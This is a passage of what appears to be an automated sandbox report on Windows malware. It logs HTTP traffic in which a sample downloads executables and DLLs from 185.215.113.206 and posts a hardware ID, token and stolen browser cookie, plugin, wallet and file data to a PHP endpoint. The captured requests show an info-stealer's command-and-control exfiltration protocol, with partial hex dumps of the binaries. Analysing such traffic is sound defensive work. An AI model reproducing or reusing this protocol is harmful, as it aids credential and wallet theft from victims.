00 00 00 00 00 00 00 56 e0 07 00 6a 00 00 00 00 c0 07 00 6c 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 e1 07 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 b0 07 00 00 10 00 00 00 3c 04 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 6c 16 00 00 00 c0 07 00 00 08 00 00 00 4c 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 e0 07 00 00 02 00 00 00 54 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 c0 2a 00 00 f0 07 00 00 02 00 00 00 56 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 69 63 61 65 6e 70 7a 71 00 a0 1a 00 00 b0 32 00 00 9a 1a 00 00 58 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 61 63 73 72 61 78 76 75 00 10 00 00 00 50 4d 00 00 04 00 00 00 f2 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 60 4d 00 00 22 00 00 00 f6 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 18 Dec 2024 14:22:29 GMTContent-Type: application/octet-streamContent-Length: 765568Last-Modified: Tue, 17 Dec 2024 09:46:16 GMTConnection: keep-aliveETag: "67614868-bae80"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 09 00 a3 1e 60 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 00 00 aa 01 00 00 c0 00 00 00 00 00 00 52 59 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 0b 00 00 08 00 00 00 00 00 00 03 00 40 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 37 02 00 3c 00 00 00 00 a0 02 00 e8 00 00 00 00 00 00 00 00 00 00 00 00 80 0b 00 80 2e 00 00 00 b0 02 00 40 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 fe 01 00 18 00 00 00 e8 cd 01 00 c0 00 00 00 00 00 00 00 00 00 00 00 28 39 02 00 54 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 9c a8 01 00 00 10 00 00 00 aa 01 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 24 8b 00 00 00 c0 01 00 00 8c 00 00 00 b2 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 22 00 00 00 50 02 00 00 16 00 00 00 3e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 53 00 00 00 00 53 00 00 00 00 80 02 00 00 02 00 00 00 54 02 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 74 6c 73 00 00 00 00 09 00 00 00 00 90 02 00 00 02 00 00 00 56 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 e8 00 00 00 00 a0 02 00 00 02 00 00 00 58 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 40 19 00 00 00 b0 02 00 00 1a 00 00 00 5a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 62 73 73 00 00 00 00 00 86 04 00 00 d0 02 00 00 86 04 00 00 74 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 73 00 00 00 00 00 86 04 00 00 60 07 00 00 86 04 00 00 fa 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 18 Dec 2024 14:22:36 GMTContent-Type: application/octet-streamContent-Length: 4438776Last-Modified: Tue, 10 Dec 2024 00:01:52 GMTConnection: keep-aliveETag: "675784f0-43baf8"Accept-Ranges: bytesData Raw: 4d 5a 60 00 01 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 52 65 71 75 69 72 65 20 57 69 6e 64 6f 77 73 0d 0a 24 50 45 00 00 4c 01 04 00 ce 3f c3 4f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 08 00 00 90 01 00 00 96 00 00 00 00 00 00 5f 94 01 00 00 10 00 00 00 a0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 02 00 00 02 00 00 e7 a4 44 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 84 c9 01 00 c8 00 00 00 00 30 02 00 10 4f 00 00 00 00 00 00 00 00 00 00 10 7b 43 00 e8 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 01 00 6c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 0e 8e 01 00 00 10 00 00 00 90 01 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 da 3b 00 00 00 a0 01 00 00 3c 00 00 00 92 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 ec 4d 00 00 00 e0 01 00 00 0a 00 00 00 ce 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 10 4f 00 00 00 30 02 00 00 50 00 00 00 d8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 55 8b ec a1 60 e9 41 00 81 ec 04 09 00 00 53 33 db 3b c3 56 57 74 1f 66 39 1d 62 e9 41 00 74 07 ff d0 a3 60 e9 41 00 50 e8 50 14 00 00 50 e8 ef 84 00 00 59 eb 6e 6a 27 e8 40 14 00 00 8b 75 08 ff 76 0c 8b 3d c0 a2 41 00 ff 36 50 8d 85 fc f6 ff ff 50 ff d7 83 c4 14 39 5e 10 89 5d fc 76 38 8d 5e 14 ff 33 8d 85 fc fe ff ff 68 90 a4 41 00 50 ff d7 83 c4 0c 8d 85 fc fe ff ff 50 8d 85 fc f6 ff ff 50 ff 15 78 a1 41 00 ff 45 fc 8b 45 fc 83 c3 04 3b 46 10 72 cb 8d 85 fc f6 ff ff 50 e8 7e 84 00 00 59 e8 d4 36 00 00 6a 0a ff 15 74 a1 41 00 cc ff 74 24 04 e8 44 ff ff ff cc 56 8b f1 e8 25 73 00 00 c7 06 a0 a4 41 00 c7 46 38 d2 07 00 00 8b c6 5e c3 6a 01 ff 71 04 ff 15 bc a2 41 00 c3 33 c0 39 05 60 ea 41 00 74 07 b8 04 40 00 80 eb 1e 39 44 24 08 74 16 ff 74 24 08 50 68 02 80 00 00 ff 35 58 ea 41 00 ff 15 b8 a2 41 00 33 c0 c2 08 00 8b 44 24 04 83 60 1c 00 83 7c 24 08 00 75 07 c7 40 1c 01 00 00 00 33 c0 c2 08 00 a0 70 e9 41 00 f6 d8 1b c0 83 e0 0b 83 c0 08 c3 ff 74 24 10 8b 44 24 08 ff 74 24 10 c7 05 60 e9 41 00 2f 11 40 00 ff 74 24 10 8b 08 50 ff 51 0c 83 25 60 e9 41 00 00 c3 33 c0 c2 0c 00 8b 54 24 08 8b 4c 24 04 0f b7 02 66 89 01 41 41 42 42 66 85 c0 75 f1 c3 8b 4c 24 04 33 c0 66 39

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIIDGCGCBFBAKFHIJDBAHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 49 49 44 47 43 47 43 42 46 42 41 4b 46 48 49 4a 44 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 35 38 39 30 42 32 38 37 44 36 37 39 34 33 34 30 30 30 36 33 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 44 47 43 47 43 42 46 42 41 4b 46 48 49 4a 44 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 44 47 43 47 43 42 46 42 41 4b 46 48 49 4a 44 42 41 2d 2d 0d 0a Data Ascii: ------HIIDGCGCBFBAKFHIJDBAContent-Disposition: form-data; name="hwid"05890B287D67943400063------HIIDGCGCBFBAKFHIJDBAContent-Disposition: form-data; name="build"stok------HIIDGCGCBFBAKFHIJDBA--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CFIECBFIDGDAKFHIEHJKHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 46 49 45 43 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 31 38 62 31 64 61 64 64 35 35 39 31 32 36 32 35 61 65 33 61 34 62 30 34 38 34 61 32 31 35 35 34 35 34 34 65 32 32 65 30 37 62 35 30 38 37 32 37 66 30 37 64 30 37 63 38 37 62 38 32 64 38 31 32 30 37 62 39 64 36 65 0d 0a 2d 2d 2d 2d 2d 2d 43 46 49 45 43 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 43 46 49 45 43 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 2d 2d 0d 0a Data Ascii: ------CFIECBFIDGDAKFHIEHJKContent-Disposition: form-data; name="token"f18b1dadd55912625ae3a4b0484a21554544e22e07b508727f07d07c87b82d81207b9d6e------CFIECBFIDGDAKFHIEHJKContent-Disposition: form-data; name="message"browsers------CFIECBFIDGDAKFHIEHJK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBKEHJJDAAAAKECBGHDAHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 42 4b 45 48 4a 4a 44 41 41 41 41 4b 45 43 42 47 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 31 38 62 31 64 61 64 64 35 35 39 31 32 36 32 35 61 65 33 61 34 62 30 34 38 34 61 32 31 35 35 34 35 34 34 65 32 32 65 30 37 62 35 30 38 37 32 37 66 30 37 64 30 37 63 38 37 62 38 32 64 38 31 32 30 37 62 39 64 36 65 0d 0a 2d 2d 2d 2d 2d 2d 45 42 4b 45 48 4a 4a 44 41 41 41 41 4b 45 43 42 47 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 42 4b 45 48 4a 4a 44 41 41 41 41 4b 45 43 42 47 48 44 41 2d 2d 0d 0a Data Ascii: ------EBKEHJJDAAAAKECBGHDAContent-Disposition: form-data; name="token"f18b1dadd55912625ae3a4b0484a21554544e22e07b508727f07d07c87b82d81207b9d6e------EBKEHJJDAAAAKECBGHDAContent-Disposition: form-data; name="message"plugins------EBKEHJJDAAAAKECBGHDA--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHJKJDAKEHJDGDGDGHIDHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 48 4a 4b 4a 44 41 4b 45 48 4a 44 47 44 47 44 47 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 31 38 62 31 64 61 64 64 35 35 39 31 32 36 32 35 61 65 33 61 34 62 30 34 38 34 61 32 31 35 35 34 35 34 34 65 32 32 65 30 37 62 35 30 38 37 32 37 66 30 37 64 30 37 63 38 37 62 38 32 64 38 31 32 30 37 62 39 64 36 65 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 4b 4a 44 41 4b 45 48 4a 44 47 44 47 44 47 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 4b 4a 44 41 4b 45 48 4a 44 47 44 47 44 47 48 49 44 2d 2d 0d 0a Data Ascii: ------GHJKJDAKEHJDGDGDGHIDContent-Disposition: form-data; name="token"f18b1dadd55912625ae3a4b0484a21554544e22e07b508727f07d07c87b82d81207b9d6e------GHJKJDAKEHJDGDGDGHIDContent-Disposition: form-data; name="message"fplugins------GHJKJDAKEHJDGDGDGHID--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIIIECBGDHJJKFIDAKJDHost: 185.215.113.206Content-Length: 5971Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJKEHIIJJECFHJKECFHDHost: 185.215.113.206Content-Length: 419Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4a 4b 45 48 49 49 4a 4a 45 43 46 48 4a 4b 45 43 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 31 38 62 31 64 61 64 64 35 35 39 31 32 36 32 35 61 65 33 61 34 62 30 34 38 34 61 32 31 35 35 34 35 34 34 65 32 32 65 30 37 62 35 30 38 37 32 37 66 30 37 64 30 37 63 38 37 62 38 32 64 38 31 32 30 37 62 39 64 36 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 45 48 49 49 4a 4a 45 43 46 48 4a 4b 45 43 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 79 35 30 65 48 51 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 45 48 49 49 4a 4a 45 43 46 48 4a 4b 45 43 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 45 48 49 49 4a 4a 45 43 46 48 4a 4b 45 43 46 48 44 2d 2d 0d 0a Data Ascii: ------KJKEHIIJJECFHJKECFHDContent-Disposition: form-data; name="token"f18b1dadd55912625ae3a4b0484a21554544e22e07b508727f07d07c87b82d81207b9d6e------KJKEHIIJJECFHJKECFHDContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lXy50eHQ=------KJKEHIIJJECFHJKECFHDContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------KJKEHIIJJECFHJKECFHD--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJJJKEGHJKFHJKFHDHCFHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 4a 4a 4b 45 47 48 4a 4b 46 48 4a 4b 46 48 44 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 31 38 62 31 64 61 64 64 35 35 39 31 32 36 32 35 61 65 33 61 34 62 30 34 38 34 61 32 31 35 35 34 35 34 34 65 32 32 65 30 37 62 35 30 38 37 32 37 66 30 37 64 30 37 63 38 37 62 38 32 64 38 31 32 30 37 62 39 64 36 65 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4a 4a 4b 45 47 48 4a 4b 46 48 4a 4b 46 48 44 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4a 4a 4b 45 47 48 4a 4b 46 48 4a 4b 46 48 44 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4a 4a 4b 45 47 48 4a 4b 46 48 4a 4b 46 48 44 48 43 46 2d 2d 0d 0a Data Ascii: ------IJJJKEGHJKFHJKFHDHCFContent-Disposition: form-data; name="token"f18b1dadd55912625ae3a4b0484a21554544e22e07b508727f07d07c87b82d81207b9d6e------IJJJKEGHJKFHJKFHDHCFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IJJJKEGHJKFHJKFHDHCFContent-Disposition: form-data; name="file"------IJJJKEGHJKFHJKFHDHCF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECAKKKKJDBKKFIEBKEHDHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 41 4b 4b 4b 4b 4a 44 42 4b 4b 46 49 45 42 4b 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 31 38 62 31 64 61 64 64 35 35 39 31 32 36 32 35 61 65 33 61 34 62 30 34 38 34 61 32 31 35 35 34 35 34 34 65 32 32 65 30 37 62 35 30 38 37 32 37 66 30 37 64 30 37 63 38 37 62 38 32 64 38 31 32 30 37 62 39 64 36 65 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 4b 4b 4b 4b 4a 44 42 4b 4b 46 49 45 42 4b 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 4b 4b 4b 4b 4a 44 42 4b 4b 46 49 45 42 4b 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 4b 4b 4b 4b 4a 44 42 4b 4b 46 49 45 42 4b 45 48 44 2d 2d 0d 0a Data Ascii: ------ECAKKKKJDBKKFIEBKEHDContent-Disposition: form-data; name="token"f18b1dadd55912625ae3a4b0484a21554544e22e07b508727f07d07c87b82d81207b9d6e------ECAKKKKJDBKKFIEBKEHDContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------ECAKKKKJDBKKFIEBKEHDContent-Disposition: form-data; name="file"------ECAKKKKJDBKKFIEBKEHD--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIEHJKJJJECFHJJJKKECHost: 185.215.113.206Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGCBAFIJDGHCAKECAEGCHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 47 43 42 41 46 49 4a 44 47 48 43 41 4b 45 43 41 45 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 31 38 62 31 64 61 64 64 35 35 39 31 32 36 32 35 61 65 33 61 34 62 30 34 38 34 61 32 31 35 35 34 35 34 34 65 32 32 65 30 37 62 35 30 38 37 32 37 66 30 37 64 30 37 63 38 37 62 38 32 64 38 31 32 30 37 62 39 64 36 65 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 42 41 46 49 4a 44 47 48 43 41 4b 45 43 41 45 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 42 41 46 49 4a 44 47 48 43 41 4b 45 43 41 45 47 43 2d 2d 0d 0a Data Ascii: ------DGCBAFIJDGHCAKECAEGCContent-Disposition: form-data; name="token"f18b1dadd55912625ae3a4b0484a21554544e22e07b508727f07d07c87b82d81207b9d6e------DGCBAFIJDGHCAKECAEGCContent-Disposition: form-data; name="message"wallets------DGCBAFIJDGHCAKECAEGC--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FBAAAKFCAFIIDHIDGHIEHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 42 41 41 41 4b 46 43 41 46 49 49 44 48 49 44 47 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 31 38 62 31 64 61 64 64 35 35 39 31 32 36 32 35 61 65 33 61 34 62 30 34 38 34 61 32 31 35 35 34 35 34 34 65 32 32 65 30 37 62 35 30 38 37 32 37 66 30 37 64 30 37 63 38 37 62 38 32 64 38 31 32 30 37 62 39 64 36 65 0d 0a 2d 2d 2d 2d 2d 2d 46 42 41 41 41 4b 46 43 41 46 49 49 44 48 49 44 47 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 46 42 41 41 41 4b 46 43 41 46 49 49 44 48 49 44 47 48 49 45 2d 2d 0d 0a Data Ascii: ------FBAAAKFCAFIIDHIDGHIEContent-Disposition: form-data; 